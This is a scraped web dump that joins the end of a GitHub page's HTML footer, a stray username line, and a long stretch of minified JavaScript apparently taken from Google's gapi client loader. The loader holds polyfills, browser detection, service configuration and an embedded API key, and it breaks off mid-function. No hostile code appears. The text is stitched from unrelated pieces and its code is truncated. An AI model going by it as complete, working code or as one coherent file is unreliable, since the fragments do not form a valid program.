data-ga-click="Footer, go to security, text:security" href="https://github.com/security">Security</a></li> <li class="mr-3"><a href="https://githubstatus.com/" data-ga-click="Footer, go to status, text:status">Status</a></li> <li><a data-ga-click="Footer, go to help, text:help" href="https://help.github.com">Help</a></li> </ul> <a aria-label="Homepage" title="GitHub" class="footer-octicon mr-lg-4" href="https://github.com"> <svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> <ul class="list-style-none d-flex flex-wrap col-12 col-lg-6 flex-justify-center flex-lg-justify-end mb-2 mb-lg-0"> <li class="mr-3"><a data-ga-click="Footer, go to contact, text:contact" href="https://github.com/contact">Contact GitHub</a></li> <li class="mr-3"><a href="https://github.com/pricing" data-ga-click="Footer, go to Pricing, text:Pricing">Pricing</a></li> <li class="mr-3"><a href="https://developer.github.com" data-ga-click="Footer, go to api, text:api">API</a></li> <li class="mr-3"><a href="https://training.github.com" data-ga-click="Footer, go to training, text:training">Training</a></li> <li class="mr-3"><a href="https://github.blog" data-ga-click="Footer, go to blog, text:blog">Blog</a></li> <li><a data-ga-click="Footer, go to about, text:about" href="https://github.com/about">About</a></li> </ul> </div> <div class="d-flex flex-justify-center pb-6"> <span class="f6 text-gray-light"></span> </div> </div> <div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> You can’t perform that action at this time. </div> <script crossorigin="anonymous" integrity="sha512-N6BPdqxnrYL4kxWa5gDIlmhui/SEMiHoobwzTpVOWheR111Zxv5GOnCtGpt5qhE5rIpi9RHMeyngI5w6WhGfnw==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-0339542411b5666802ea364ae561d67e.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-D/8iR8ROD3vVOmwLSVsS1j1knDeAOuW9NLNRFb3Pyd68G/gC1b3xRH/krz0K2nuECEZRjVsUAU5caoJKAwoLwA==" type="application/javascript" src="https://github.githubassets.com/assets/github-27e2e2875f3fc6cfce6518e479adf7b8.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-c44z5nODEaKK3GYFvk6sJ+mQ11NU39x+7a8XfyyP2tvKxKleREj9kiG7faxy8HezxO3JLEySVB+jrElhE/tZDg==" type="application/javascript" src="https://github.githubassets.com/assets/wiki-d986eaa4dd007a3f9a67d1f6a6c30320.js"></script> <div class="js-stale-session-flash stale-session-flash flash flash-warn flash-banner d-none"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"/></svg> <span class="signed-in-tab-flash">You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="signed-out-tab-flash">You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark" open> <summary aria-haspopup="dialog" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div> </div> <div id="hovercard-aria-description" class="sr-only"> Press h to open a hovercard with more details. </div> <div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div> </body> </html>
dh-orko
/* JS */ gapi.loaded_0(function(_){var window=this; var ha,ia,ja,ma,sa,na,ta,ya,Ja;_.ea=function(a){return function(){return _.da[a].apply(this,arguments)}};_._DumpException=function(a){throw a;};_.da=[];ha="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){a!=Array.prototype&&a!=Object.prototype&&(a[b]=c.value)};ia="undefined"!=typeof window&&window===this?this:"undefined"!=typeof window.global&&null!=window.global?window.global:this;ja=function(){ja=function(){};ia.Symbol||(ia.Symbol=ma)}; ma=function(){var a=0;return function(b){return"jscomp_symbol_"+(b||"")+a++}}();sa=function(){ja();var a=ia.Symbol.iterator;a||(a=ia.Symbol.iterator=ia.Symbol("iterator"));"function"!=typeof Array.prototype[a]&&ha(Array.prototype,a,{configurable:!0,writable:!0,value:function(){return na(this)}});sa=function(){}};na=function(a){var b=0;return ta(function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}})};ta=function(a){sa();a={next:a};a[ia.Symbol.iterator]=function(){return this};return a}; _.wa=function(a){sa();var b=a[window.Symbol.iterator];return b?b.call(a):na(a)};_.xa="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b};if("function"==typeof Object.setPrototypeOf)ya=Object.setPrototypeOf;else{var Ba;a:{var Ca={a:!0},Da={};try{Da.__proto__=Ca;Ba=Da.a;break a}catch(a){}Ba=!1}ya=Ba?function(a,b){a.__proto__=b;if(a.__proto__!==b)throw new TypeError(a+" is not extensible");return a}:null}_.Fa=ya; Ja=function(a,b){if(b){var c=ia;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];e in c||(c[e]={});c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ha(c,a,{configurable:!0,writable:!0,value:b})}};Ja("Array.prototype.find",function(a){return a?a:function(a,c){a:{var b=this;b instanceof String&&(b=String(b));for(var e=b.length,f=0;f<e;f++){var h=b[f];if(a.call(c,h,f,b)){a=h;break a}}a=void 0}return a}});var Ka=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)}; Ja("WeakMap",function(a){function b(a){Ka(a,d)||ha(a,d,{value:{}})}function c(a){var c=Object[a];c&&(Object[a]=function(a){b(a);return c(a)})}if(function(){if(!a||!Object.seal)return!1;try{var b=Object.seal({}),c=Object.seal({}),d=new a([[b,2],[c,3]]);if(2!=d.get(b)||3!=d.get(c))return!1;d["delete"](b);d.set(c,4);return!d.has(b)&&4==d.get(c)}catch(n){return!1}}())return a;var d="$jscomp_hidden_"+Math.random();c("freeze");c("preventExtensions");c("seal");var e=0,f=function(a){this.Aa=(e+=Math.random()+ 1).toString();if(a){ja();sa();a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};f.prototype.set=function(a,c){b(a);if(!Ka(a,d))throw Error("a`"+a);a[d][this.Aa]=c;return this};f.prototype.get=function(a){return Ka(a,d)?a[d][this.Aa]:void 0};f.prototype.has=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)};f.prototype["delete"]=function(a){return Ka(a,d)&&Ka(a[d],this.Aa)?delete a[d][this.Aa]:!1};return f}); Ja("Map",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),c=new a(_.wa([[b,"s"]]));if("s"!=c.get(b)||1!=c.size||c.get({x:4})||c.set({x:4},"t")!=c||2!=c.size)return!1;var d=c.entries(),e=d.next();if(e.done||e.value[0]!=b||"s"!=e.value[1])return!1;e=d.next();return e.done||4!=e.value[0].x||"t"!=e.value[1]||!d.next().done?!1:!0}catch(q){return!1}}())return a;ja();sa();var b=new window.WeakMap,c=function(a){this.lf= {};this.Pe=f();this.size=0;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)b=b.value,this.set(b[0],b[1])}};c.prototype.set=function(a,b){var c=d(this,a);c.list||(c.list=this.lf[c.id]=[]);c.ke?c.ke.value=b:(c.ke={next:this.Pe,Pi:this.Pe.Pi,head:this.Pe,key:a,value:b},c.list.push(c.ke),this.Pe.Pi.next=c.ke,this.Pe.Pi=c.ke,this.size++);return this};c.prototype["delete"]=function(a){a=d(this,a);return a.ke&&a.list?(a.list.splice(a.index,1),a.list.length||delete this.lf[a.id],a.ke.Pi.next=a.ke.next,a.ke.next.Pi= a.ke.Pi,a.ke.head=null,this.size--,!0):!1};c.prototype.clear=function(){this.lf={};this.Pe=this.Pe.Pi=f();this.size=0};c.prototype.has=function(a){return!!d(this,a).ke};c.prototype.get=function(a){return(a=d(this,a).ke)&&a.value};c.prototype.entries=function(){return e(this,function(a){return[a.key,a.value]})};c.prototype.keys=function(){return e(this,function(a){return a.key})};c.prototype.values=function(){return e(this,function(a){return a.value})};c.prototype.forEach=function(a,b){for(var c=this.entries(), d;!(d=c.next()).done;)d=d.value,a.call(b,d[1],d[0],this)};c.prototype[window.Symbol.iterator]=c.prototype.entries;var d=function(a,c){var d=c&&typeof c;"object"==d||"function"==d?b.has(c)?d=b.get(c):(d=""+ ++h,b.set(c,d)):d="p_"+c;var e=a.lf[d];if(e&&Ka(a.lf,d))for(a=0;a<e.length;a++){var f=e[a];if(c!==c&&f.key!==f.key||c===f.key)return{id:d,list:e,index:a,ke:f}}return{id:d,list:e,index:-1,ke:void 0}},e=function(a,b){var c=a.Pe;return ta(function(){if(c){for(;c.head!=a.Pe;)c=c.Pi;for(;c.next!=c.head;)return c= c.next,{done:!1,value:b(c)};c=null}return{done:!0,value:void 0}})},f=function(){var a={};return a.Pi=a.next=a.head=a},h=0;return c}); Ja("Set",function(a){if(function(){if(!a||"function"!=typeof a||!a.prototype.entries||"function"!=typeof Object.seal)return!1;try{var b=Object.seal({x:4}),d=new a(_.wa([b]));if(!d.has(b)||1!=d.size||d.add(b)!=d||1!=d.size||d.add({x:4})!=d||2!=d.size)return!1;var e=d.entries(),f=e.next();if(f.done||f.value[0]!=b||f.value[1]!=b)return!1;f=e.next();return f.done||f.value[0]==b||4!=f.value[0].x||f.value[1]!=f.value[0]?!1:e.next().done}catch(h){return!1}}())return a;ja();sa();var b=function(a){this.V= new window.Map;if(a){a=_.wa(a);for(var b;!(b=a.next()).done;)this.add(b.value)}this.size=this.V.size};b.prototype.add=function(a){this.V.set(a,a);this.size=this.V.size;return this};b.prototype["delete"]=function(a){a=this.V["delete"](a);this.size=this.V.size;return a};b.prototype.clear=function(){this.V.clear();this.size=0};b.prototype.has=function(a){return this.V.has(a)};b.prototype.entries=function(){return this.V.entries()};b.prototype.values=function(){return this.V.values()};b.prototype.keys= b.prototype.values;b.prototype[window.Symbol.iterator]=b.prototype.values;b.prototype.forEach=function(a,b){var c=this;this.V.forEach(function(d){return a.call(b,d,d,c)})};return b});_.La=_.La||{};_.m=this;_.r=function(a){return void 0!==a};_.u=function(a){return"string"==typeof a}; _.Ma=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("call"))return"function"}else return"null"; else if("function"==b&&"undefined"==typeof a.call)return"object";return b};_.Oa=function(a){return"array"==_.Ma(a)};_.Pa="closure_uid_"+(1E9*Math.random()>>>0);_.Qa=Date.now||function(){return+new Date};_.w=function(a,b){a=a.split(".");var c=_.m;a[0]in c||!c.execScript||c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)!a.length&&_.r(b)?c[d]=b:c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}}; _.z=function(a,b){function c(){}c.prototype=b.prototype;a.H=b.prototype;a.prototype=new c;a.prototype.constructor=a;a.ep=function(a,c,f){for(var d=Array(arguments.length-2),e=2;e<arguments.length;e++)d[e-2]=arguments[e];return b.prototype[c].apply(a,d)}}; _.Ta=window.osapi=window.osapi||{}; window.___jsl=window.___jsl||{}; (window.___jsl.cd=window.___jsl.cd||[]).push({gwidget:{parsetags:"explicit"},appsapi:{plus_one_service:"/plus/v1"},csi:{rate:.01},poshare:{hangoutContactPickerServer:"https://plus.google.com"},gappsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1},appsutil:{required_scopes:["https://www.googleapis.com/auth/plus.me","https://www.googleapis.com/auth/plus.people.recommended"],display_on_page_ready:!1}, "oauth-flow":{authUrl:"https://accounts.google.com/o/oauth2/auth",proxyUrl:"https://accounts.google.com/o/oauth2/postmessageRelay",redirectUri:"postmessage",loggingUrl:"https://accounts.google.com/o/oauth2/client_log"},iframes:{sharebox:{params:{json:"&"},url:":socialhost:/:session_prefix:_/sharebox/dialog"},plus:{url:":socialhost:/:session_prefix:_/widget/render/badge?usegapi=1"},":socialhost:":"https://apis.google.com",":im_socialhost:":"https://plus.googleapis.com",domains_suggest:{url:"https://domains.google.com/suggest/flow"}, card:{params:{s:"#",userid:"&"},url:":socialhost:/:session_prefix:_/hovercard/internalcard"},":signuphost:":"https://plus.google.com",":gplus_url:":"https://plus.google.com",plusone:{url:":socialhost:/:session_prefix:_/+1/fastbutton?usegapi=1"},plus_share:{url:":socialhost:/:session_prefix:_/+1/sharebutton?plusShare=true&usegapi=1"},plus_circle:{url:":socialhost:/:session_prefix:_/widget/plus/circle?usegapi=1"},plus_followers:{url:":socialhost:/_/im/_/widget/render/plus/followers?usegapi=1"},configurator:{url:":socialhost:/:session_prefix:_/plusbuttonconfigurator?usegapi=1"}, appcirclepicker:{url:":socialhost:/:session_prefix:_/widget/render/appcirclepicker"},page:{url:":socialhost:/:session_prefix:_/widget/render/page?usegapi=1"},person:{url:":socialhost:/:session_prefix:_/widget/render/person?usegapi=1"},community:{url:":ctx_socialhost:/:session_prefix::im_prefix:_/widget/render/community?usegapi=1"},follow:{url:":socialhost:/:session_prefix:_/widget/render/follow?usegapi=1"},commentcount:{url:":socialhost:/:session_prefix:_/widget/render/commentcount?usegapi=1"},comments:{url:":socialhost:/:session_prefix:_/widget/render/comments?usegapi=1"}, youtube:{url:":socialhost:/:session_prefix:_/widget/render/youtube?usegapi=1"},reportabuse:{url:":socialhost:/:session_prefix:_/widget/render/reportabuse?usegapi=1"},additnow:{url:":socialhost:/additnow/additnow.html"},udc_webconsentflow:{url:"https://myaccount.google.com/webconsent?usegapi=1"},appfinder:{url:"https://gsuite.google.com/:session_prefix:marketplace/appfinder?usegapi=1"},":source:":"1p"},poclient:{update_session:"google.updateSessionCallback"},"googleapis.config":{methods:{"pos.plusones.list":!0, "pos.plusones.get":!0,"pos.plusones.insert":!0,"pos.plusones.delete":!0,"pos.plusones.getSignupState":!0},versions:{pos:"v1"},rpc:"/rpc",root:"https://content.googleapis.com","root-1p":"https://clients6.google.com",useGapiForXd3:!0,xd3:"/static/proxy.html",developerKey:"AIzaSyCKSbrvQasunBoV16zDH9R33D88CeLr9gQ",auth:{useInterimAuth:!1}},report:{apis:["iframes\\..*","gadgets\\..*","gapi\\.appcirclepicker\\..*","gapi\\.client\\..*"],rate:1E-4},client:{perApiBatch:!0}}); var Za,eb,fb;_.Ua=function(a){return"number"==typeof a};_.Va=function(){};_.Wa=function(a){var b=_.Ma(a);return"array"==b||"object"==b&&"number"==typeof a.length};_.Xa=function(a){return"function"==_.Ma(a)};_.Ya=function(a){var b=typeof a;return"object"==b&&null!=a||"function"==b};Za=0;_.bb=function(a){return a[_.Pa]||(a[_.Pa]=++Za)};eb=function(a,b,c){return a.call.apply(a.bind,arguments)}; fb=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}};_.A=function(a,b,c){_.A=Function.prototype.bind&&-1!=Function.prototype.bind.toString().indexOf("native code")?eb:fb;return _.A.apply(null,arguments)}; _.ib=Array.prototype.indexOf?function(a,b){return Array.prototype.indexOf.call(a,b,void 0)}:function(a,b){if(_.u(a))return _.u(b)&&1==b.length?a.indexOf(b,0):-1;for(var c=0;c<a.length;c++)if(c in a&&a[c]===b)return c;return-1};_.jb=Array.prototype.lastIndexOf?function(a,b){return Array.prototype.lastIndexOf.call(a,b,a.length-1)}:function(a,b){var c=a.length-1;0>c&&(c=Math.max(0,a.length+c));if(_.u(a))return _.u(b)&&1==b.length?a.lastIndexOf(b,c):-1;for(;0<=c;c--)if(c in a&&a[c]===b)return c;return-1}; _.lb=Array.prototype.forEach?function(a,b,c){Array.prototype.forEach.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)f in e&&b.call(c,e[f],f,a)};_.mb=Array.prototype.filter?function(a,b){return Array.prototype.filter.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=[],e=0,f=_.u(a)?a.split(""):a,h=0;h<c;h++)if(h in f){var k=f[h];b.call(void 0,k,h,a)&&(d[e++]=k)}return d}; _.nb=Array.prototype.map?function(a,b){return Array.prototype.map.call(a,b,void 0)}:function(a,b){for(var c=a.length,d=Array(c),e=_.u(a)?a.split(""):a,f=0;f<c;f++)f in e&&(d[f]=b.call(void 0,e[f],f,a));return d};_.ob=Array.prototype.some?function(a,b,c){return Array.prototype.some.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&b.call(c,e[f],f,a))return!0;return!1}; _.qb=Array.prototype.every?function(a,b,c){return Array.prototype.every.call(a,b,c)}:function(a,b,c){for(var d=a.length,e=_.u(a)?a.split(""):a,f=0;f<d;f++)if(f in e&&!b.call(c,e[f],f,a))return!1;return!0};_.rb=function(a,b){return 0<=(0,_.ib)(a,b)}; var vb;_.sb=function(a){return/^[\s\xa0]*$/.test(a)};_.tb=String.prototype.trim?function(a){return a.trim()}:function(a){return/^[\s\xa0]*([\s\S]*?)[\s\xa0]*$/.exec(a)[1]};_.ub=String.prototype.repeat?function(a,b){return a.repeat(b)}:function(a,b){return Array(b+1).join(a)}; _.xb=function(a,b){var c=0;a=(0,_.tb)(String(a)).split(".");b=(0,_.tb)(String(b)).split(".");for(var d=Math.max(a.length,b.length),e=0;0==c&&e<d;e++){var f=a[e]||"",h=b[e]||"";do{f=/(\d*)(\D*)(.*)/.exec(f)||["","","",""];h=/(\d*)(\D*)(.*)/.exec(h)||["","","",""];if(0==f[0].length&&0==h[0].length)break;c=vb(0==f[1].length?0:(0,window.parseInt)(f[1],10),0==h[1].length?0:(0,window.parseInt)(h[1],10))||vb(0==f[2].length,0==h[2].length)||vb(f[2],h[2]);f=f[3];h=h[3]}while(0==c)}return c}; vb=function(a,b){return a<b?-1:a>b?1:0};_.yb=2147483648*Math.random()|0; a:{var Bb=_.m.navigator;if(Bb){var Cb=Bb.userAgent;if(Cb){_.Ab=Cb;break a}}_.Ab=""}_.Db=function(a){return-1!=_.Ab.indexOf(a)};var Fb;_.Eb=function(a,b,c){for(var d in a)b.call(c,a[d],d,a)};Fb="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" ");_.Gb=function(a,b){for(var c,d,e=1;e<arguments.length;e++){d=arguments[e];for(c in d)a[c]=d[c];for(var f=0;f<Fb.length;f++)c=Fb[f],Object.prototype.hasOwnProperty.call(d,c)&&(a[c]=d[c])}}; _.Hb=function(){return _.Db("Opera")};_.Ib=function(){return _.Db("Trident")||_.Db("MSIE")};_.Lb=function(){return _.Db("iPhone")&&!_.Db("iPod")&&!_.Db("iPad")};_.Mb=function(){return _.Lb()||_.Db("iPad")||_.Db("iPod")};var Nb=function(a){Nb[" "](a);return a},Sb;Nb[" "]=_.Va;_.Qb=function(a,b){try{return Nb(a[b]),!0}catch(c){}return!1};Sb=function(a,b){var c=Rb;return Object.prototype.hasOwnProperty.call(c,a)?c[a]:c[a]=b(a)};var gc,hc,Rb,pc;_.Tb=_.Hb();_.C=_.Ib();_.Ub=_.Db("Edge");_.Vb=_.Ub||_.C;_.Wb=_.Db("Gecko")&&!(-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge"))&&!(_.Db("Trident")||_.Db("MSIE"))&&!_.Db("Edge");_.Xb=-1!=_.Ab.toLowerCase().indexOf("webkit")&&!_.Db("Edge");_.Yb=_.Xb&&_.Db("Mobile");_.Zb=_.Db("Macintosh");_.$b=_.Db("Windows");_.ac=_.Db("Linux")||_.Db("CrOS");_.bc=_.Db("Android");_.cc=_.Lb();_.dc=_.Db("iPad");_.ec=_.Db("iPod");_.fc=_.Mb(); gc=function(){var a=_.m.document;return a?a.documentMode:void 0};a:{var ic="",jc=function(){var a=_.Ab;if(_.Wb)return/rv:([^\);]+)(\)|;)/.exec(a);if(_.Ub)return/Edge\/([\d\.]+)/.exec(a);if(_.C)return/\b(?:MSIE|rv)[: ]([^\);]+)(\)|;)/.exec(a);if(_.Xb)return/WebKit\/(\S+)/.exec(a);if(_.Tb)return/(?:Version)[ \/]?(\S+)/.exec(a)}();jc&&(ic=jc?jc[1]:"");if(_.C){var kc=gc();if(null!=kc&&kc>(0,window.parseFloat)(ic)){hc=String(kc);break a}}hc=ic}_.lc=hc;Rb={}; _.mc=function(a){return Sb(a,function(){return 0<=_.xb(_.lc,a)})};_.oc=function(a){return Number(_.nc)>=a};var qc=_.m.document;pc=qc&&_.C?gc()||("CSS1Compat"==qc.compatMode?(0,window.parseInt)(_.lc,10):5):void 0;_.nc=pc; var sc,wc,xc,yc,zc,Ac,Bc,Cc;_.rc=function(a,b){return _.da[a]=b};_.tc=function(a){return Array.prototype.concat.apply([],arguments)};_.uc=function(a){var b=a.length;if(0<b){for(var c=Array(b),d=0;d<b;d++)c[d]=a[d];return c}return[]};_.vc=function(a,b){return 0==a.lastIndexOf(b,0)};wc=/&/g;xc=/</g;yc=/>/g;zc=/"/g;Ac=/'/g;Bc=/\x00/g;Cc=/[\x00&<>"']/; _.Dc=function(a){if(!Cc.test(a))return a;-1!=a.indexOf("&")&&(a=a.replace(wc,"&"));-1!=a.indexOf("<")&&(a=a.replace(xc,"<"));-1!=a.indexOf(">")&&(a=a.replace(yc,">"));-1!=a.indexOf('"')&&(a=a.replace(zc,"""));-1!=a.indexOf("'")&&(a=a.replace(Ac,"'"));-1!=a.indexOf("\x00")&&(a=a.replace(Bc,"�"));return a};_.Fc=function(a){return String(a).replace(/\-([a-z])/g,function(a,c){return c.toUpperCase()})};_.Gc=function(a,b){for(var c in a)if(a[c]==b)return!0;return!1}; var Hc,Ic;Hc=!_.C||_.oc(9);Ic=!_.Wb&&!_.C||_.C&&_.oc(9)||_.Wb&&_.mc("1.9.1");_.Jc=_.C&&!_.mc("9");_.Kc=_.C||_.Tb||_.Xb;_.Lc=_.C&&!_.oc(9);var Mc;_.Nc=function(){this.uw="";this.bP=Mc};_.Nc.prototype.Ch=!0;_.Nc.prototype.dg=function(){return this.uw};_.Nc.prototype.toString=function(){return"Const{"+this.uw+"}"};_.Oc=function(a){return a instanceof _.Nc&&a.constructor===_.Nc&&a.bP===Mc?a.uw:"type_error:Const"};Mc={};_.Pc=function(a){var b=new _.Nc;b.uw=a;return b};_.Pc(""); var Qc;_.Rc=function(){this.bC="";this.lP=Qc};_.Rc.prototype.Ch=!0;_.Rc.prototype.dg=function(){return this.bC};_.Rc.prototype.GA=!0;_.Rc.prototype.kl=function(){return 1};_.Sc=function(a){if(a instanceof _.Rc&&a.constructor===_.Rc&&a.lP===Qc)return a.bC;_.Ma(a);return"type_error:TrustedResourceUrl"};_.Uc=function(a){return _.Tc(_.Oc(a))};Qc={};_.Tc=function(a){var b=new _.Rc;b.bC=a;return b}; var Yc,Vc,Zc;_.Wc=function(){this.Zl="";this.VO=Vc};_.Wc.prototype.Ch=!0;_.Wc.prototype.dg=function(){return this.Zl};_.Wc.prototype.GA=!0;_.Wc.prototype.kl=function(){return 1};_.Xc=function(a){if(a instanceof _.Wc&&a.constructor===_.Wc&&a.VO===Vc)return a.Zl;_.Ma(a);return"type_error:SafeUrl"};Yc=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i;_.$c=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)}; _.ad=function(a){if(a instanceof _.Wc)return a;a=a.Ch?a.dg():String(a);Yc.test(a)||(a="about:invalid#zClosurez");return Zc(a)};Vc={};Zc=function(a){var b=new _.Wc;b.Zl=a;return b};Zc("about:blank"); _.dd=function(){this.aC="";this.UO=_.bd};_.dd.prototype.Ch=!0;_.bd={};_.dd.prototype.dg=function(){return this.aC};_.dd.prototype.Bi=function(a){this.aC=a;return this};_.ed=(new _.dd).Bi("");_.gd=function(){this.$B="";this.TO=_.fd};_.gd.prototype.Ch=!0;_.fd={};_.id=function(a){a=_.Oc(a);return 0===a.length?hd:(new _.gd).Bi(a)};_.gd.prototype.dg=function(){return this.$B};_.gd.prototype.Bi=function(a){this.$B=a;return this};var hd=(new _.gd).Bi(""); var jd;_.kd=function(){this.Zl="";this.SO=jd;this.qG=null};_.kd.prototype.GA=!0;_.kd.prototype.kl=function(){return this.qG};_.kd.prototype.Ch=!0;_.kd.prototype.dg=function(){return this.Zl};_.ld=function(a){if(a instanceof _.kd&&a.constructor===_.kd&&a.SO===jd)return a.Zl;_.Ma(a);return"type_error:SafeHtml"};jd={};_.nd=function(a,b){return(new _.kd).Bi(a,b)};_.kd.prototype.Bi=function(a,b){this.Zl=a;this.qG=b;return this};_.nd("<!DOCTYPE html>",0);_.od=_.nd("",0);_.pd=_.nd("<br>",0); _.qd=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};var wd,yd,Ad;_.td=function(a){return a?new _.rd(_.sd(a)):sc||(sc=new _.rd)};_.ud=function(a,b){return _.u(b)?a.getElementById(b):b}; _.vd=function(a,b,c,d){a=d||a;b=b&&"*"!=b?String(b).toUpperCase():"";if(a.querySelectorAll&&a.querySelector&&(b||c))return a.querySelectorAll(b+(c?"."+c:""));if(c&&a.getElementsByClassName){a=a.getElementsByClassName(c);if(b){d={};for(var e=0,f=0,h;h=a[f];f++)b==h.nodeName&&(d[e++]=h);d.length=e;return d}return a}a=a.getElementsByTagName(b||"*");if(c){d={};for(f=e=0;h=a[f];f++)b=h.className,"function"==typeof b.split&&_.rb(b.split(/\s+/),c)&&(d[e++]=h);d.length=e;return d}return a}; _.xd=function(a,b){_.Eb(b,function(b,d){b&&b.Ch&&(b=b.dg());"style"==d?a.style.cssText=b:"class"==d?a.className=b:"for"==d?a.htmlFor=b:wd.hasOwnProperty(d)?a.setAttribute(wd[d],b):_.vc(d,"aria-")||_.vc(d,"data-")?a.setAttribute(d,b):a[d]=b})};wd={cellpadding:"cellPadding",cellspacing:"cellSpacing",colspan:"colSpan",frameborder:"frameBorder",height:"height",maxlength:"maxLength",nonce:"nonce",role:"role",rowspan:"rowSpan",type:"type",usemap:"useMap",valign:"vAlign",width:"width"}; _.zd=function(a,b){var c=String(b[0]),d=b[1];if(!Hc&&d&&(d.name||d.type)){c=["<",c];d.name&&c.push(' name="',_.Dc(d.name),'"');if(d.type){c.push(' type="',_.Dc(d.type),'"');var e={};_.Gb(e,d);delete e.type;d=e}c.push(">");c=c.join("")}c=a.createElement(c);d&&(_.u(d)?c.className=d:_.Oa(d)?c.className=d.join(" "):_.xd(c,d));2<b.length&&yd(a,c,b,2);return c}; yd=function(a,b,c,d){function 